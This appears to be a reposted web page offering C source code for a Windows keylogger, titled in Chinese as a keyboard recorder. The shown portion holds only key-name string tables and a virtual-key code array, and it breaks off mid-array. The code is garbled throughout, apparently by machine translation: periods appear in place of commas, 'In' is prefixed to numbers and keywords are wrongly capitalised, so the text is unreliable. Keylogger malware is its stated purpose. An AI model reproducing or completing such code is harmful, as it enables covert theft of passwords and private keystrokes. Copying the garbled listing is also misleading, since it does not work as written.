C语言编写键盘记录器源代码(国外英文资料)
C语言编写键盘记录器源代码(国外英文资料)
/ / C, the source code for the keyboard recorder (reproduced) is 07:59 PM on Wednesday 16, 2010
# include < Windows. H >
# include < stdio, h >
/ / Some Global Variables
/ / Lower Case Key &some Other Keys
Char * LowerCase [] = {
"B",
"E",
"[ESC],"
"[F1],"
"[F2],"
"[F3],"
"[the F4],"
"[F5],"
"[F6],"
"[F7],"
"[F8],"
"[F9]."
"[F10]."
"[F11],"
"[F12],"
"`."
"1",
"2",
"3",
"4",
"5",
"6".
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB],"
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"[",
"]."
"A",
"S",
"D",
"F",
"G",
"H".
"J",
"K",
"L",
";" ,
"'",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
",,"
". ",
"/",
"\ \",
"[CTRL],"
"[Windows],"
"",
"[Windows],"
"[Print Screen]",
"[Scroll Lock]",
"[Insert],"
"[Home]."
"[PageUp],"
"[Del],"
"[End],"
"[PageDown],"
"[Left],"
"[UP]."
"[Right],"
"[Down],"
"[Num Lock]"
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6".
"7",
"8",
"9",
". ",
};
/ / Upper Case Key & Some Other Keys
Char * UpperCase [] = {
"B",
"E",
"[ESC],"
"[F1],"
"[F2],"
"[F3],"
"[the F4],"
"[F5],"
"[F6],"
"[F7],"
"[F8],"
"[F9]."
"[F10]."
"[F11],"
"[F12],"
"~",
"!" ,
"@",
"#",
"$",
"%",
"^",
"&",
"*",
"(",
") ",
"_",
"+",
"[TAB],"
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"} ".
"A",
"S",
"D",
"F",
"G",
"H".
"J",
"K",
"L",
":",
"\" ",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"
">",
"?" ,
"|",
"[CTRL],"
"[Windows],"
"",
"[Windows],"
"[Print Screen]",
"[Scroll Lock]",
"[Insert],"
"[Home]."
"[PageUp],"
"[Del],"
"[End],"
"[PageDown],"
"[Left],"
"[Up]."
"[Right],"
"[Down],"
"[Num Lock]"
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6".
"7",
"8",
"9",
". ",
};
/ / Ascii Keys, Forget About It
Int SpecialKeys [] = {
8.
13,
27,
In 112,
In 113,
In 114,
In 115,
In 116,
In 117,
In 118,
In 119,
In 120,
In 121,
In 122,
In 123,
In 192,
49,
50.
51,
52,
53.
54.
55,
56.
57.
48.
In 189,
In 187,
9,
In 81,
In 87,
In 69,
In 82,
In 84,
In 89,
In 85,
In 73,
In 79,
In 80,
In 219,
In 221,
In 65,
In 83,
In 68,
In 70,
In 71,
In 72,
In 74,
In 75,
In 76,
In 186,
In 222,
In 90,